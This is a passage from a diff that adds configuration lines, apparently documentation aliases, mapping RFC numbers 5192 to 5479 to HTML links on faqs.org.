+                         "RFC5192=<a href=\"http://www.faqs.org/rfcs/rfc5192.html\">RFC 5192</a>" \
+                         "RFC5193=<a href=\"http://www.faqs.org/rfcs/rfc5193.html\">RFC 5193</a>" \
+                         "RFC5194=<a href=\"http://www.faqs.org/rfcs/rfc5194.html\">RFC 5194</a>" \
+                         "RFC5195=<a href=\"http://www.faqs.org/rfcs/rfc5195.html\">RFC 5195</a>" \
+                         "RFC5196=<a href=\"http://www.faqs.org/rfcs/rfc5196.html\">RFC 5196</a>" \
+                         "RFC5197=<a href=\"http://www.faqs.org/rfcs/rfc5197.html\">RFC 5197</a>" \
+                         "RFC5198=<a href=\"http://www.faqs.org/rfcs/rfc5198.html\">RFC 5198</a>" \
+                         "RFC5199=<a href=\"http://www.faqs.org/rfcs/rfc5199.html\">RFC 5199</a>" \
+                         "RFC5200=<a href=\"http://www.faqs.org/rfcs/rfc5200.html\">RFC 5200</a>" \
+                         "RFC5201=<a href=\"http://www.faqs.org/rfcs/rfc5201.html\">RFC 5201</a>" \
+                         "RFC5202=<a href=\"http://www.faqs.org/rfcs/rfc5202.html\">RFC 5202</a>" \
+                         "RFC5203=<a href=\"http://www.faqs.org/rfcs/rfc5203.html\">RFC 5203</a>" \
+                         "RFC5204=<a href=\"http://www.faqs.org/rfcs/rfc5204.html\">RFC 5204</a>" \
+                         "RFC5205=<a href=\"http://www.faqs.org/rfcs/rfc5205.html\">RFC 5205</a>" \
+                         "RFC5206=<a href=\"http://www.faqs.org/rfcs/rfc5206.html\">RFC 5206</a>" \
+                         "RFC5207=<a href=\"http://www.faqs.org/rfcs/rfc5207.html\">RFC 5207</a>" \
+                         "RFC5208=<a href=\"http://www.faqs.org/rfcs/rfc5208.html\">RFC 5208</a>" \
+                         "RFC5209=<a href=\"http://www.faqs.org/rfcs/rfc5209.html\">RFC 5209</a>" \
+                         "RFC5210=<a href=\"http://www.faqs.org/rfcs/rfc5210.html\">RFC 5210</a>" \
+                         "RFC5211=<a href=\"http://www.faqs.org/rfcs/rfc5211.html\">RFC 5211</a>" \
+                         "RFC5212=<a href=\"http://www.faqs.org/rfcs/rfc5212.html\">RFC 5212</a>" \
+                         "RFC5213=<a href=\"http://www.faqs.org/rfcs/rfc5213.html\">RFC 5213</a>" \
+                         "RFC5214=<a href=\"http://www.faqs.org/rfcs/rfc5214.html\">RFC 5214</a>" \
+                         "RFC5215=<a href=\"http://www.faqs.org/rfcs/rfc5215.html\">RFC 5215</a>" \
+                         "RFC5216=<a href=\"http://www.faqs.org/rfcs/rfc5216.html\">RFC 5216</a>" \
+                         "RFC5217=<a href=\"http://www.faqs.org/rfcs/rfc5217.html\">RFC 5217</a>" \
+                         "RFC5218=<a href=\"http://www.faqs.org/rfcs/rfc5218.html\">RFC 5218</a>" \
+                         "RFC5219=<a href=\"http://www.faqs.org/rfcs/rfc5219.html\">RFC 5219</a>" \
+                         "RFC5220=<a href=\"http://www.faqs.org/rfcs/rfc5220.html\">RFC 5220</a>" \
+                         "RFC5221=<a href=\"http://www.faqs.org/rfcs/rfc5221.html\">RFC 5221</a>" \
+                         "RFC5222=<a href=\"http://www.faqs.org/rfcs/rfc5222.html\">RFC 5222</a>" \
+                         "RFC5223=<a href=\"http://www.faqs.org/rfcs/rfc5223.html\">RFC 5223</a>" \
+                         "RFC5224=<a href=\"http://www.faqs.org/rfcs/rfc5224.html\">RFC 5224</a>" \
+                         "RFC5225=<a href=\"http://www.faqs.org/rfcs/rfc5225.html\">RFC 5225</a>" \
+                         "RFC5226=<a href=\"http://www.faqs.org/rfcs/rfc5226.html\">RFC 5226</a>" \
+                         "RFC5227=<a href=\"http://www.faqs.org/rfcs/rfc5227.html\">RFC 5227</a>" \
+                         "RFC5228=<a href=\"http://www.faqs.org/rfcs/rfc5228.html\">RFC 5228</a>" \
+                         "RFC5229=<a href=\"http://www.faqs.org/rfcs/rfc5229.html\">RFC 5229</a>" \
+                         "RFC5230=<a href=\"http://www.faqs.org/rfcs/rfc5230.html\">RFC 5230</a>" \
+                         "RFC5231=<a href=\"http://www.faqs.org/rfcs/rfc5231.html\">RFC 5231</a>" \
+                         "RFC5232=<a href=\"http://www.faqs.org/rfcs/rfc5232.html\">RFC 5232</a>" \
+                         "RFC5233=<a href=\"http://www.faqs.org/rfcs/rfc5233.html\">RFC 5233</a>" \
+                         "RFC5234=<a href=\"http://www.faqs.org/rfcs/rfc5234.html\">RFC 5234</a>" \
+                         "RFC5235=<a href=\"http://www.faqs.org/rfcs/rfc5235.html\">RFC 5235</a>" \
+                         "RFC5236=<a href=\"http://www.faqs.org/rfcs/rfc5236.html\">RFC 5236</a>" \
+                         "RFC5237=<a href=\"http://www.faqs.org/rfcs/rfc5237.html\">RFC 5237</a>" \
+                         "RFC5238=<a href=\"http://www.faqs.org/rfcs/rfc5238.html\">RFC 5238</a>" \
+                         "RFC5239=<a href=\"http://www.faqs.org/rfcs/rfc5239.html\">RFC 5239</a>" \
+                         "RFC5240=<a href=\"http://www.faqs.org/rfcs/rfc5240.html\">RFC 5240</a>" \
+                         "RFC5241=<a href=\"http://www.faqs.org/rfcs/rfc5241.html\">RFC 5241</a>" \
+                         "RFC5242=<a href=\"http://www.faqs.org/rfcs/rfc5242.html\">RFC 5242</a>" \
+                         "RFC5243=<a href=\"http://www.faqs.org/rfcs/rfc5243.html\">RFC 5243</a>" \
+                         "RFC5244=<a href=\"http://www.faqs.org/rfcs/rfc5244.html\">RFC 5244</a>" \
+                         "RFC5245=<a href=\"http://www.faqs.org/rfcs/rfc5245.html\">RFC 5245</a>" \
+                         "RFC5246=<a href=\"http://www.faqs.org/rfcs/rfc5246.html\">RFC 5246</a>" \
+                         "RFC5247=<a href=\"http://www.faqs.org/rfcs/rfc5247.html\">RFC 5247</a>" \
+                         "RFC5248=<a href=\"http://www.faqs.org/rfcs/rfc5248.html\">RFC 5248</a>" \
+                         "RFC5249=<a href=\"http://www.faqs.org/rfcs/rfc5249.html\">RFC 5249</a>" \
+                         "RFC5250=<a href=\"http://www.faqs.org/rfcs/rfc5250.html\">RFC 5250</a>" \
+                         "RFC5251=<a href=\"http://www.faqs.org/rfcs/rfc5251.html\">RFC 5251</a>" \
+                         "RFC5252=<a href=\"http://www.faqs.org/rfcs/rfc5252.html\">RFC 5252</a>" \
+                         "RFC5253=<a href=\"http://www.faqs.org/rfcs/rfc5253.html\">RFC 5253</a>" \
+                         "RFC5254=<a href=\"http://www.faqs.org/rfcs/rfc5254.html\">RFC 5254</a>" \
+                         "RFC5255=<a href=\"http://www.faqs.org/rfcs/rfc5255.html\">RFC 5255</a>" \
+                         "RFC5256=<a href=\"http://www.faqs.org/rfcs/rfc5256.html\">RFC 5256</a>" \
+                         "RFC5257=<a href=\"http://www.faqs.org/rfcs/rfc5257.html\">RFC 5257</a>" \
+                         "RFC5258=<a href=\"http://www.faqs.org/rfcs/rfc5258.html\">RFC 5258</a>" \
+                         "RFC5259=<a href=\"http://www.faqs.org/rfcs/rfc5259.html\">RFC 5259</a>" \
+                         "RFC5260=<a href=\"http://www.faqs.org/rfcs/rfc5260.html\">RFC 5260</a>" \
+                         "RFC5261=<a href=\"http://www.faqs.org/rfcs/rfc5261.html\">RFC 5261</a>" \
+                         "RFC5262=<a href=\"http://www.faqs.org/rfcs/rfc5262.html\">RFC 5262</a>" \
+                         "RFC5263=<a href=\"http://www.faqs.org/rfcs/rfc5263.html\">RFC 5263</a>" \
+                         "RFC5264=<a href=\"http://www.faqs.org/rfcs/rfc5264.html\">RFC 5264</a>" \
+                         "RFC5265=<a href=\"http://www.faqs.org/rfcs/rfc5265.html\">RFC 5265</a>" \
+                         "RFC5266=<a href=\"http://www.faqs.org/rfcs/rfc5266.html\">RFC 5266</a>" \
+                         "RFC5267=<a href=\"http://www.faqs.org/rfcs/rfc5267.html\">RFC 5267</a>" \
+                         "RFC5268=<a href=\"http://www.faqs.org/rfcs/rfc5268.html\">RFC 5268</a>" \
+                         "RFC5269=<a href=\"http://www.faqs.org/rfcs/rfc5269.html\">RFC 5269</a>" \
+                         "RFC5270=<a href=\"http://www.faqs.org/rfcs/rfc5270.html\">RFC 5270</a>" \
+                         "RFC5271=<a href=\"http://www.faqs.org/rfcs/rfc5271.html\">RFC 5271</a>" \
+                         "RFC5272=<a href=\"http://www.faqs.org/rfcs/rfc5272.html\">RFC 5272</a>" \
+                         "RFC5273=<a href=\"http://www.faqs.org/rfcs/rfc5273.html\">RFC 5273</a>" \
+                         "RFC5274=<a href=\"http://www.faqs.org/rfcs/rfc5274.html\">RFC 5274</a>" \
+                         "RFC5275=<a href=\"http://www.faqs.org/rfcs/rfc5275.html\">RFC 5275</a>" \
+                         "RFC5276=<a href=\"http://www.faqs.org/rfcs/rfc5276.html\">RFC 5276</a>" \
+                         "RFC5277=<a href=\"http://www.faqs.org/rfcs/rfc5277.html\">RFC 5277</a>" \
+                         "RFC5278=<a href=\"http://www.faqs.org/rfcs/rfc5278.html\">RFC 5278</a>" \
+                         "RFC5279=<a href=\"http://www.faqs.org/rfcs/rfc5279.html\">RFC 5279</a>" \
+                         "RFC5280=<a href=\"http://www.faqs.org/rfcs/rfc5280.html\">RFC 5280</a>" \
+                         "RFC5281=<a href=\"http://www.faqs.org/rfcs/rfc5281.html\">RFC 5281</a>" \
+                         "RFC5282=<a href=\"http://www.faqs.org/rfcs/rfc5282.html\">RFC 5282</a>" \
+                         "RFC5283=<a href=\"http://www.faqs.org/rfcs/rfc5283.html\">RFC 5283</a>" \
+                         "RFC5284=<a href=\"http://www.faqs.org/rfcs/rfc5284.html\">RFC 5284</a>" \
+                         "RFC5285=<a href=\"http://www.faqs.org/rfcs/rfc5285.html\">RFC 5285</a>" \
+                         "RFC5286=<a href=\"http://www.faqs.org/rfcs/rfc5286.html\">RFC 5286</a>" \
+                         "RFC5287=<a href=\"http://www.faqs.org/rfcs/rfc5287.html\">RFC 5287</a>" \
+                         "RFC5288=<a href=\"http://www.faqs.org/rfcs/rfc5288.html\">RFC 5288</a>" \
+                         "RFC5289=<a href=\"http://www.faqs.org/rfcs/rfc5289.html\">RFC 5289</a>" \
+                         "RFC5290=<a href=\"http://www.faqs.org/rfcs/rfc5290.html\">RFC 5290</a>" \
+                         "RFC5291=<a href=\"http://www.faqs.org/rfcs/rfc5291.html\">RFC 5291</a>" \
+                         "RFC5292=<a href=\"http://www.faqs.org/rfcs/rfc5292.html\">RFC 5292</a>" \
+                         "RFC5293=<a href=\"http://www.faqs.org/rfcs/rfc5293.html\">RFC 5293</a>" \
+                         "RFC5294=<a href=\"http://www.faqs.org/rfcs/rfc5294.html\">RFC 5294</a>" \
+                         "RFC5295=<a href=\"http://www.faqs.org/rfcs/rfc5295.html\">RFC 5295</a>" \
+                         "RFC5296=<a href=\"http://www.faqs.org/rfcs/rfc5296.html\">RFC 5296</a>" \
+                         "RFC5297=<a href=\"http://www.faqs.org/rfcs/rfc5297.html\">RFC 5297</a>" \
+                         "RFC5298=<a href=\"http://www.faqs.org/rfcs/rfc5298.html\">RFC 5298</a>" \
+                         "RFC5299=<a href=\"http://www.faqs.org/rfcs/rfc5299.html\">RFC 5299</a>" \
+                         "RFC5300=<a href=\"http://www.faqs.org/rfcs/rfc5300.html\">RFC 5300</a>" \
+                         "RFC5301=<a href=\"http://www.faqs.org/rfcs/rfc5301.html\">RFC 5301</a>" \
+                         "RFC5302=<a href=\"http://www.faqs.org/rfcs/rfc5302.html\">RFC 5302</a>" \
+                         "RFC5303=<a href=\"http://www.faqs.org/rfcs/rfc5303.html\">RFC 5303</a>" \
+                         "RFC5304=<a href=\"http://www.faqs.org/rfcs/rfc5304.html\">RFC 5304</a>" \
+                         "RFC5305=<a href=\"http://www.faqs.org/rfcs/rfc5305.html\">RFC 5305</a>" \
+                         "RFC5306=<a href=\"http://www.faqs.org/rfcs/rfc5306.html\">RFC 5306</a>" \
+                         "RFC5307=<a href=\"http://www.faqs.org/rfcs/rfc5307.html\">RFC 5307</a>" \
+                         "RFC5308=<a href=\"http://www.faqs.org/rfcs/rfc5308.html\">RFC 5308</a>" \
+                         "RFC5309=<a href=\"http://www.faqs.org/rfcs/rfc5309.html\">RFC 5309</a>" \
+                         "RFC5310=<a href=\"http://www.faqs.org/rfcs/rfc5310.html\">RFC 5310</a>" \
+                         "RFC5311=<a href=\"http://www.faqs.org/rfcs/rfc5311.html\">RFC 5311</a>" \
+                         "RFC5312=<a href=\"http://www.faqs.org/rfcs/rfc5312.html\">RFC 5312</a>" \
+                         "RFC5313=<a href=\"http://www.faqs.org/rfcs/rfc5313.html\">RFC 5313</a>" \
+                         "RFC5314=<a href=\"http://www.faqs.org/rfcs/rfc5314.html\">RFC 5314</a>" \
+                         "RFC5315=<a href=\"http://www.faqs.org/rfcs/rfc5315.html\">RFC 5315</a>" \
+                         "RFC5316=<a href=\"http://www.faqs.org/rfcs/rfc5316.html\">RFC 5316</a>" \
+                         "RFC5317=<a href=\"http://www.faqs.org/rfcs/rfc5317.html\">RFC 5317</a>" \
+                         "RFC5318=<a href=\"http://www.faqs.org/rfcs/rfc5318.html\">RFC 5318</a>" \
+                         "RFC5319=<a href=\"http://www.faqs.org/rfcs/rfc5319.html\">RFC 5319</a>" \
+                         "RFC5320=<a href=\"http://www.faqs.org/rfcs/rfc5320.html\">RFC 5320</a>" \
+                         "RFC5321=<a href=\"http://www.faqs.org/rfcs/rfc5321.html\">RFC 5321</a>" \
+                         "RFC5322=<a href=\"http://www.faqs.org/rfcs/rfc5322.html\">RFC 5322</a>" \
+                         "RFC5323=<a href=\"http://www.faqs.org/rfcs/rfc5323.html\">RFC 5323</a>" \
+                         "RFC5324=<a href=\"http://www.faqs.org/rfcs/rfc5324.html\">RFC 5324</a>" \
+                         "RFC5325=<a href=\"http://www.faqs.org/rfcs/rfc5325.html\">RFC 5325</a>" \
+                         "RFC5326=<a href=\"http://www.faqs.org/rfcs/rfc5326.html\">RFC 5326</a>" \
+                         "RFC5327=<a href=\"http://www.faqs.org/rfcs/rfc5327.html\">RFC 5327</a>" \
+                         "RFC5328=<a href=\"http://www.faqs.org/rfcs/rfc5328.html\">RFC 5328</a>" \
+                         "RFC5329=<a href=\"http://www.faqs.org/rfcs/rfc5329.html\">RFC 5329</a>" \
+                         "RFC5330=<a href=\"http://www.faqs.org/rfcs/rfc5330.html\">RFC 5330</a>" \
+                         "RFC5331=<a href=\"http://www.faqs.org/rfcs/rfc5331.html\">RFC 5331</a>" \
+                         "RFC5332=<a href=\"http://www.faqs.org/rfcs/rfc5332.html\">RFC 5332</a>" \
+                         "RFC5333=<a href=\"http://www.faqs.org/rfcs/rfc5333.html\">RFC 5333</a>" \
+                         "RFC5334=<a href=\"http://www.faqs.org/rfcs/rfc5334.html\">RFC 5334</a>" \
+                         "RFC5335=<a href=\"http://www.faqs.org/rfcs/rfc5335.html\">RFC 5335</a>" \
+                         "RFC5336=<a href=\"http://www.faqs.org/rfcs/rfc5336.html\">RFC 5336</a>" \
+                         "RFC5337=<a href=\"http://www.faqs.org/rfcs/rfc5337.html\">RFC 5337</a>" \
+                         "RFC5338=<a href=\"http://www.faqs.org/rfcs/rfc5338.html\">RFC 5338</a>" \
+                         "RFC5339=<a href=\"http://www.faqs.org/rfcs/rfc5339.html\">RFC 5339</a>" \
+                         "RFC5340=<a href=\"http://www.faqs.org/rfcs/rfc5340.html\">RFC 5340</a>" \
+                         "RFC5341=<a href=\"http://www.faqs.org/rfcs/rfc5341.html\">RFC 5341</a>" \
+                         "RFC5342=<a href=\"http://www.faqs.org/rfcs/rfc5342.html\">RFC 5342</a>" \
+                         "RFC5343=<a href=\"http://www.faqs.org/rfcs/rfc5343.html\">RFC 5343</a>" \
+                         "RFC5344=<a href=\"http://www.faqs.org/rfcs/rfc5344.html\">RFC 5344</a>" \
+                         "RFC5345=<a href=\"http://www.faqs.org/rfcs/rfc5345.html\">RFC 5345</a>" \
+                         "RFC5346=<a href=\"http://www.faqs.org/rfcs/rfc5346.html\">RFC 5346</a>" \
+                         "RFC5347=<a href=\"http://www.faqs.org/rfcs/rfc5347.html\">RFC 5347</a>" \
+                         "RFC5348=<a href=\"http://www.faqs.org/rfcs/rfc5348.html\">RFC 5348</a>" \
+                         "RFC5349=<a href=\"http://www.faqs.org/rfcs/rfc5349.html\">RFC 5349</a>" \
+                         "RFC5350=<a href=\"http://www.faqs.org/rfcs/rfc5350.html\">RFC 5350</a>" \
+                         "RFC5351=<a href=\"http://www.faqs.org/rfcs/rfc5351.html\">RFC 5351</a>" \
+                         "RFC5352=<a href=\"http://www.faqs.org/rfcs/rfc5352.html\">RFC 5352</a>" \
+                         "RFC5353=<a href=\"http://www.faqs.org/rfcs/rfc5353.html\">RFC 5353</a>" \
+                         "RFC5354=<a href=\"http://www.faqs.org/rfcs/rfc5354.html\">RFC 5354</a>" \
+                         "RFC5355=<a href=\"http://www.faqs.org/rfcs/rfc5355.html\">RFC 5355</a>" \
+                         "RFC5356=<a href=\"http://www.faqs.org/rfcs/rfc5356.html\">RFC 5356</a>" \
+                         "RFC5357=<a href=\"http://www.faqs.org/rfcs/rfc5357.html\">RFC 5357</a>" \
+                         "RFC5358=<a href=\"http://www.faqs.org/rfcs/rfc5358.html\">RFC 5358</a>" \
+                         "RFC5359=<a href=\"http://www.faqs.org/rfcs/rfc5359.html\">RFC 5359</a>" \
+                         "RFC5360=<a href=\"http://www.faqs.org/rfcs/rfc5360.html\">RFC 5360</a>" \
+                         "RFC5361=<a href=\"http://www.faqs.org/rfcs/rfc5361.html\">RFC 5361</a>" \
+                         "RFC5362=<a href=\"http://www.faqs.org/rfcs/rfc5362.html\">RFC 5362</a>" \
+                         "RFC5363=<a href=\"http://www.faqs.org/rfcs/rfc5363.html\">RFC 5363</a>" \
+                         "RFC5364=<a href=\"http://www.faqs.org/rfcs/rfc5364.html\">RFC 5364</a>" \
+                         "RFC5365=<a href=\"http://www.faqs.org/rfcs/rfc5365.html\">RFC 5365</a>" \
+                         "RFC5366=<a href=\"http://www.faqs.org/rfcs/rfc5366.html\">RFC 5366</a>" \
+                         "RFC5367=<a href=\"http://www.faqs.org/rfcs/rfc5367.html\">RFC 5367</a>" \
+                         "RFC5368=<a href=\"http://www.faqs.org/rfcs/rfc5368.html\">RFC 5368</a>" \
+                         "RFC5369=<a href=\"http://www.faqs.org/rfcs/rfc5369.html\">RFC 5369</a>" \
+                         "RFC5370=<a href=\"http://www.faqs.org/rfcs/rfc5370.html\">RFC 5370</a>" \
+                         "RFC5371=<a href=\"http://www.faqs.org/rfcs/rfc5371.html\">RFC 5371</a>" \
+                         "RFC5372=<a href=\"http://www.faqs.org/rfcs/rfc5372.html\">RFC 5372</a>" \
+                         "RFC5373=<a href=\"http://www.faqs.org/rfcs/rfc5373.html\">RFC 5373</a>" \
+                         "RFC5374=<a href=\"http://www.faqs.org/rfcs/rfc5374.html\">RFC 5374</a>" \
+                         "RFC5375=<a href=\"http://www.faqs.org/rfcs/rfc5375.html\">RFC 5375</a>" \
+                         "RFC5376=<a href=\"http://www.faqs.org/rfcs/rfc5376.html\">RFC 5376</a>" \
+                         "RFC5377=<a href=\"http://www.faqs.org/rfcs/rfc5377.html\">RFC 5377</a>" \
+                         "RFC5378=<a href=\"http://www.faqs.org/rfcs/rfc5378.html\">RFC 5378</a>" \
+                         "RFC5379=<a href=\"http://www.faqs.org/rfcs/rfc5379.html\">RFC 5379</a>" \
+                         "RFC5380=<a href=\"http://www.faqs.org/rfcs/rfc5380.html\">RFC 5380</a>" \
+                         "RFC5381=<a href=\"http://www.faqs.org/rfcs/rfc5381.html\">RFC 5381</a>" \
+                         "RFC5382=<a href=\"http://www.faqs.org/rfcs/rfc5382.html\">RFC 5382</a>" \
+                         "RFC5383=<a href=\"http://www.faqs.org/rfcs/rfc5383.html\">RFC 5383</a>" \
+                         "RFC5384=<a href=\"http://www.faqs.org/rfcs/rfc5384.html\">RFC 5384</a>" \
+                         "RFC5385=<a href=\"http://www.faqs.org/rfcs/rfc5385.html\">RFC 5385</a>" \
+                         "RFC5386=<a href=\"http://www.faqs.org/rfcs/rfc5386.html\">RFC 5386</a>" \
+                         "RFC5387=<a href=\"http://www.faqs.org/rfcs/rfc5387.html\">RFC 5387</a>" \
+                         "RFC5388=<a href=\"http://www.faqs.org/rfcs/rfc5388.html\">RFC 5388</a>" \
+                         "RFC5389=<a href=\"http://www.faqs.org/rfcs/rfc5389.html\">RFC 5389</a>" \
+                         "RFC5390=<a href=\"http://www.faqs.org/rfcs/rfc5390.html\">RFC 5390</a>" \
+                         "RFC5391=<a href=\"http://www.faqs.org/rfcs/rfc5391.html\">RFC 5391</a>" \
+                         "RFC5392=<a href=\"http://www.faqs.org/rfcs/rfc5392.html\">RFC 5392</a>" \
+                         "RFC5393=<a href=\"http://www.faqs.org/rfcs/rfc5393.html\">RFC 5393</a>" \
+                         "RFC5394=<a href=\"http://www.faqs.org/rfcs/rfc5394.html\">RFC 5394</a>" \
+                         "RFC5395=<a href=\"http://www.faqs.org/rfcs/rfc5395.html\">RFC 5395</a>" \
+                         "RFC5396=<a href=\"http://www.faqs.org/rfcs/rfc5396.html\">RFC 5396</a>" \
+                         "RFC5397=<a href=\"http://www.faqs.org/rfcs/rfc5397.html\">RFC 5397</a>" \
+                         "RFC5398=<a href=\"http://www.faqs.org/rfcs/rfc5398.html\">RFC 5398</a>" \
+                         "RFC5399=<a href=\"http://www.faqs.org/rfcs/rfc5399.html\">RFC 5399</a>" \
+                         "RFC5400=<a href=\"http://www.faqs.org/rfcs/rfc5400.html\">RFC 5400</a>" \
+                         "RFC5401=<a href=\"http://www.faqs.org/rfcs/rfc5401.html\">RFC 5401</a>" \
+                         "RFC5402=<a href=\"http://www.faqs.org/rfcs/rfc5402.html\">RFC 5402</a>" \
+                         "RFC5403=<a href=\"http://www.faqs.org/rfcs/rfc5403.html\">RFC 5403</a>" \
+                         "RFC5404=<a href=\"http://www.faqs.org/rfcs/rfc5404.html\">RFC 5404</a>" \
+                         "RFC5405=<a href=\"http://www.faqs.org/rfcs/rfc5405.html\">RFC 5405</a>" \
+                         "RFC5406=<a href=\"http://www.faqs.org/rfcs/rfc5406.html\">RFC 5406</a>" \
+                         "RFC5407=<a href=\"http://www.faqs.org/rfcs/rfc5407.html\">RFC 5407</a>" \
+                         "RFC5408=<a href=\"http://www.faqs.org/rfcs/rfc5408.html\">RFC 5408</a>" \
+                         "RFC5409=<a href=\"http://www.faqs.org/rfcs/rfc5409.html\">RFC 5409</a>" \
+                         "RFC5410=<a href=\"http://www.faqs.org/rfcs/rfc5410.html\">RFC 5410</a>" \
+                         "RFC5411=<a href=\"http://www.faqs.org/rfcs/rfc5411.html\">RFC 5411</a>" \
+                         "RFC5412=<a href=\"http://www.faqs.org/rfcs/rfc5412.html\">RFC 5412</a>" \
+                         "RFC5413=<a href=\"http://www.faqs.org/rfcs/rfc5413.html\">RFC 5413</a>" \
+                         "RFC5414=<a href=\"http://www.faqs.org/rfcs/rfc5414.html\">RFC 5414</a>" \
+                         "RFC5415=<a href=\"http://www.faqs.org/rfcs/rfc5415.html\">RFC 5415</a>" \
+                         "RFC5416=<a href=\"http://www.faqs.org/rfcs/rfc5416.html\">RFC 5416</a>" \
+                         "RFC5417=<a href=\"http://www.faqs.org/rfcs/rfc5417.html\">RFC 5417</a>" \
+                         "RFC5418=<a href=\"http://www.faqs.org/rfcs/rfc5418.html\">RFC 5418</a>" \
+                         "RFC5419=<a href=\"http://www.faqs.org/rfcs/rfc5419.html\">RFC 5419</a>" \
+                         "RFC5420=<a href=\"http://www.faqs.org/rfcs/rfc5420.html\">RFC 5420</a>" \
+                         "RFC5421=<a href=\"http://www.faqs.org/rfcs/rfc5421.html\">RFC 5421</a>" \
+                         "RFC5422=<a href=\"http://www.faqs.org/rfcs/rfc5422.html\">RFC 5422</a>" \
+                         "RFC5423=<a href=\"http://www.faqs.org/rfcs/rfc5423.html\">RFC 5423</a>" \
+                         "RFC5424=<a href=\"http://www.faqs.org/rfcs/rfc5424.html\">RFC 5424</a>" \
+                         "RFC5425=<a href=\"http://www.faqs.org/rfcs/rfc5425.html\">RFC 5425</a>" \
+                         "RFC5426=<a href=\"http://www.faqs.org/rfcs/rfc5426.html\">RFC 5426</a>" \
+                         "RFC5427=<a href=\"http://www.faqs.org/rfcs/rfc5427.html\">RFC 5427</a>" \
+                         "RFC5428=<a href=\"http://www.faqs.org/rfcs/rfc5428.html\">RFC 5428</a>" \
+                         "RFC5429=<a href=\"http://www.faqs.org/rfcs/rfc5429.html\">RFC 5429</a>" \
+                         "RFC5430=<a href=\"http://www.faqs.org/rfcs/rfc5430.html\">RFC 5430</a>" \
+                         "RFC5431=<a href=\"http://www.faqs.org/rfcs/rfc5431.html\">RFC 5431</a>" \
+                         "RFC5432=<a href=\"http://www.faqs.org/rfcs/rfc5432.html\">RFC 5432</a>" \
+                         "RFC5433=<a href=\"http://www.faqs.org/rfcs/rfc5433.html\">RFC 5433</a>" \
+                         "RFC5434=<a href=\"http://www.faqs.org/rfcs/rfc5434.html\">RFC 5434</a>" \
+                         "RFC5435=<a href=\"http://www.faqs.org/rfcs/rfc5435.html\">RFC 5435</a>" \
+                         "RFC5436=<a href=\"http://www.faqs.org/rfcs/rfc5436.html\">RFC 5436</a>" \
+                         "RFC5437=<a href=\"http://www.faqs.org/rfcs/rfc5437.html\">RFC 5437</a>" \
+                         "RFC5438=<a href=\"http://www.faqs.org/rfcs/rfc5438.html\">RFC 5438</a>" \
+                         "RFC5439=<a href=\"http://www.faqs.org/rfcs/rfc5439.html\">RFC 5439</a>" \
+                         "RFC5440=<a href=\"http://www.faqs.org/rfcs/rfc5440.html\">RFC 5440</a>" \
+                         "RFC5441=<a href=\"http://www.faqs.org/rfcs/rfc5441.html\">RFC 5441</a>" \
+                         "RFC5442=<a href=\"http://www.faqs.org/rfcs/rfc5442.html\">RFC 5442</a>" \
+                         "RFC5443=<a href=\"http://www.faqs.org/rfcs/rfc5443.html\">RFC 5443</a>" \
+                         "RFC5444=<a href=\"http://www.faqs.org/rfcs/rfc5444.html\">RFC 5444</a>" \
+                         "RFC5445=<a href=\"http://www.faqs.org/rfcs/rfc5445.html\">RFC 5445</a>" \
+                         "RFC5446=<a href=\"http://www.faqs.org/rfcs/rfc5446.html\">RFC 5446</a>" \
+                         "RFC5447=<a href=\"http://www.faqs.org/rfcs/rfc5447.html\">RFC 5447</a>" \
+                         "RFC5448=<a href=\"http://www.faqs.org/rfcs/rfc5448.html\">RFC 5448</a>" \
+                         "RFC5449=<a href=\"http://www.faqs.org/rfcs/rfc5449.html\">RFC 5449</a>" \
+                         "RFC5450=<a href=\"http://www.faqs.org/rfcs/rfc5450.html\">RFC 5450</a>" \
+                         "RFC5451=<a href=\"http://www.faqs.org/rfcs/rfc5451.html\">RFC 5451</a>" \
+                         "RFC5452=<a href=\"http://www.faqs.org/rfcs/rfc5452.html\">RFC 5452</a>" \
+                         "RFC5453=<a href=\"http://www.faqs.org/rfcs/rfc5453.html\">RFC 5453</a>" \
+                         "RFC5454=<a href=\"http://www.faqs.org/rfcs/rfc5454.html\">RFC 5454</a>" \
+                         "RFC5455=<a href=\"http://www.faqs.org/rfcs/rfc5455.html\">RFC 5455</a>" \
+                         "RFC5456=<a href=\"http://www.faqs.org/rfcs/rfc5456.html\">RFC 5456</a>" \
+                         "RFC5457=<a href=\"http://www.faqs.org/rfcs/rfc5457.html\">RFC 5457</a>" \
+                         "RFC5458=<a href=\"http://www.faqs.org/rfcs/rfc5458.html\">RFC 5458</a>" \
+                         "RFC5459=<a href=\"http://www.faqs.org/rfcs/rfc5459.html\">RFC 5459</a>" \
+                         "RFC5460=<a href=\"http://www.faqs.org/rfcs/rfc5460.html\">RFC 5460</a>" \
+                         "RFC5461=<a href=\"http://www.faqs.org/rfcs/rfc5461.html\">RFC 5461</a>" \
+                         "RFC5462=<a href=\"http://www.faqs.org/rfcs/rfc5462.html\">RFC 5462</a>" \
+                         "RFC5463=<a href=\"http://www.faqs.org/rfcs/rfc5463.html\">RFC 5463</a>" \
+                         "RFC5464=<a href=\"http://www.faqs.org/rfcs/rfc5464.html\">RFC 5464</a>" \
+                         "RFC5465=<a href=\"http://www.faqs.org/rfcs/rfc5465.html\">RFC 5465</a>" \
+                         "RFC5466=<a href=\"http://www.faqs.org/rfcs/rfc5466.html\">RFC 5466</a>" \
+                         "RFC5467=<a href=\"http://www.faqs.org/rfcs/rfc5467.html\">RFC 5467</a>" \
+                         "RFC5468=<a href=\"http://www.faqs.org/rfcs/rfc5468.html\">RFC 5468</a>" \
+                         "RFC5469=<a href=\"http://www.faqs.org/rfcs/rfc5469.html\">RFC 5469</a>" \
+                         "RFC5470=<a href=\"http://www.faqs.org/rfcs/rfc5470.html\">RFC 5470</a>" \
+                         "RFC5471=<a href=\"http://www.faqs.org/rfcs/rfc5471.html\">RFC 5471</a>" \
+                         "RFC5472=<a href=\"http://www.faqs.org/rfcs/rfc5472.html\">RFC 5472</a>" \
+                         "RFC5473=<a href=\"http://www.faqs.org/rfcs/rfc5473.html\">RFC 5473</a>" \
+                         "RFC5474=<a href=\"http://www.faqs.org/rfcs/rfc5474.html\">RFC 5474</a>" \
+                         "RFC5475=<a href=\"http://www.faqs.org/rfcs/rfc5475.html\">RFC 5475</a>" \
+                         "RFC5476=<a href=\"http://www.faqs.org/rfcs/rfc5476.html\">RFC 5476</a>" \
+                         "RFC5477=<a href=\"http://www.faqs.org/rfcs/rfc5477.html\">RFC 5477</a>" \
+                         "RFC5478=<a href=\"http://www.faqs.org/rfcs/rfc5478.html\">RFC 5478</a>" \
+                         "RFC5479=<a href=\"http://www.faqs.org/rfcs/rfc5479.html\">RFC 5479</a>" \
